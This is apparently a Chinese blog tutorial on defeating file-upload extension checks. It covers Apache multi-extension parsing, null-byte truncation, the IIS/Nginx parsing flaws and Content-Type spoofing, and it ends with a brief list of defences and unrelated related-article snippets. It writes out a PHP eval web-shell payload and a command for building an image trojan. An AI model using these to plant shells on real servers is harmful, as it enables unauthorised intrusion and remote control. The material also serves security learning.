突破后缀限制文件上传漏洞

2024-08-24 00:58

本文主要是介绍突破后缀限制文件上传漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

php类型:

1

构造服务器端虚假扩展名检测上传

将一句话木马的文件名lubr.php改成lubr.php.abc。首先,服务器验证文件扩展名的时候,验证的是.abc,只要改扩展名符合服务器端黑名单规则,即可上传。另外,当在浏览器端访问该文件时,Apache如果解析不了.abc扩展名,会向前寻找可解析的扩展名,即”.php”。一句话木马可以被解析,即可通过中国菜刀连接。

Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

 

2

利用00截断,brupsuite上传

利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0X00上传截断漏洞。 

假设文件的上传路径为http://xx.xx.xx.xx/upfiles/lubr.php.jpg ,通过Burpsuite抓包截断将lubr.php后面的“.”换成“0X00”。在上传的时候,当文件系统读到”0X00″时,会认为文件已经结束,从而将lubr.php.jpg的内容写到lubr.php中,从而达到攻击的目的

 

3

IS7.0/IIS7.5/ Nginx <8.03畸形解析漏洞

在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为

<?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马shell.php

 

asp类型:

1

IIS6.0下,分号后面的不被解析,也就是说

wooyun.asp;.jpg会被服务器看成是wooyun.asp

 

 

 

改类型:

绕过Content-Type检测文件类型上传

当浏览器在上传文件到服务器端的时候,服务器对上传的文件Content-Type类型进行检测,如果是白名单允许的,则可以正常上传,否则上传失效。绕过Content-Type文件类型检测,就是用Burpsuite截取并修改数据包中文件的Content-Type类型,使其符合白名单的规则,达到上传的目的。

 

图片木马

1

构造图片木马,绕过文件内容检测上传Shell

一般文件内容验证使用getimeagesize()函数检测,会判断文件是否一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。

制作图片木马: copy1.jpg/b+2.php/a 3.jpg

2:图片文件头后加木马

决定文件是否是jpeg格式?

二进制形式打开文件,文件开始字节为FFD8,文件结束两字节为FF D9。则初步判定文件为jpeg。

jpeg的SOI(start ofimage) 为ff d8,EOD(end of image)为ff d9




a).xxx.php[\0].JPG,对于一个只允许上传JPG格式的服务器,此文件可以绕过文件上传检查,但是对于服务器端解释来说,函数会被[\0]截断,导致成为xxx.php代码。

b).IIS6.0下,分号后面的不被解析,也就是说sp.asp;.jpg,会被服务器看成是sp.asp

c).Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。

比如 sec.php.owf.rar .owf”和”.rar”,这两种后缀是apache不可识别解析,apache就会把sec.php.owf.rar解析成php

d).上传不符合windows文件命名规则的文件名

test.asp.

test.asp(空格)

test.php:1.jpg

test.php:: $DATA

会被windows系统自动去掉不符合规则符号后面的内容。

对非法上传的防御机制大致有如下几种:

1.客户端检测,使用JS对上传图片检测,包括文件大小、文件扩展名、文件类型等

2.服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测,对文件重命名

3.其他限制,服务器端上传目录设置不可执行权限


这篇关于突破后缀限制文件上传漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1100993

相关文章

黑神话,XSKY 星飞全闪单卷性能突破310万

当下,云计算仍然是企业主要的基础架构,随着关键业务的逐步虚拟化和云化,对于块存储的性能要求也日益提高。企业对于低延迟、高稳定性的存储解决方案的需求日益迫切。为了满足这些日益增长的 IO 密集型应用场景,众多云服务提供商正在不断推陈出新,推出具有更低时延和更高 IOPS 性能的云硬盘产品。 8 月 22 日 2024 DTCC 大会上(第十五届中国数据库技术大会),XSKY星辰天合正式公布了基于星

poj 2135 有流量限制的最小费用最大流

题意: 农场里有n块地,其中约翰的家在1号地,二n号地有个很大的仓库。 农场有M条道路(双向),道路i连接着ai号地和bi号地,长度为ci。 约翰希望按照从家里出发,经过若干块地后到达仓库,然后再返回家中的顺序带朋友参观。 如果要求往返不能经过同一条路两次,求参观路线总长度的最小值。 解析: 如果只考虑去或者回的情况,问题只不过是无向图中两点之间的最短路问题。 但是现在要去要回

poj 3422 有流量限制的最小费用流 反用求最大 + 拆点

题意: 给一个n*n(50 * 50) 的数字迷宫,从左上点开始走,走到右下点。 每次只能往右移一格,或者往下移一格。 每个格子,第一次到达时可以获得格子对应的数字作为奖励,再次到达则没有奖励。 问走k次这个迷宫,最大能获得多少奖励。 解析: 拆点,拿样例来说明: 3 2 1 2 3 0 2 1 1 4 2 3*3的数字迷宫,走两次最大能获得多少奖励。 将每个点拆成两个

poj 2195 bfs+有流量限制的最小费用流

题意: 给一张n * m(100 * 100)的图,图中” . " 代表空地, “ M ” 代表人, “ H ” 代表家。 现在,要你安排每个人从他所在的地方移动到家里,每移动一格的消耗是1,求最小的消耗。 人可以移动到家的那一格但是不进去。 解析: 先用bfs搞出每个M与每个H的距离。 然后就是网络流的建图过程了,先抽象出源点s和汇点t。 令源点与每个人相连,容量为1,费用为

poj 3068 有流量限制的最小费用网络流

题意: m条有向边连接了n个仓库,每条边都有一定费用。 将两种危险品从0运到n-1,除了起点和终点外,危险品不能放在一起,也不能走相同的路径。 求最小的费用是多少。 解析: 抽象出一个源点s一个汇点t,源点与0相连,费用为0,容量为2。 汇点与n - 1相连,费用为0,容量为2。 每条边之间也相连,费用为每条边的费用,容量为1。 建图完毕之后,求一条流量为2的最小费用流就行了

Spring MVC 图片上传

引入需要的包 <dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.1</version></dependency><dependency><groupId>commons-io</groupId><artifactId>commons-

在SSH的基础上使用jquery.uploadify.js上传文件

在SSH框架的基础上,使用jquery.uploadify.js实现文件的上传,之前搞了好几天,都上传不了, 在Action那边File接收到的总是为null, 为了这个还上网搜了好多相关的信息,但都不行,最后还是搜到一篇文章帮助到我了,希望能帮助到为之困扰的人。 jsp页面的关键代码: <link rel="stylesheet" type="text/css" href="${page

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Vue3上传图片报错:Current request is not a multipart request

当你看到错误 "Current request is not a multipart request" 时,这通常意味着你的服务器或后端代码期望接收一个 multipart/form-data 类型的请求,但实际上并没有收到这样的请求。在使用 <el-upload> 组件时,如果你已经设置了 http-request 属性来自定义上传行为,并且遇到了这个错误,可能是因为你在发送请求时没有正确地设置

一些数学经验总结——关于将原一元二次函数增加一些限制条件后最优结果的对比(主要针对公平关切相关的建模)

1.没有分段的情况 原函数为一元二次凹函数(开口向下),如下: 因为要使得其存在正解,必须满足,那么。 上述函数的最优结果为:,。 对应的mathematica代码如下: Clear["Global`*"]f0[x_, a_, b_, c_, d_] := (a*x - b)*(d - c*x);(*(b c+a d)/(2 a c)*)Maximize[{f0[x, a, b,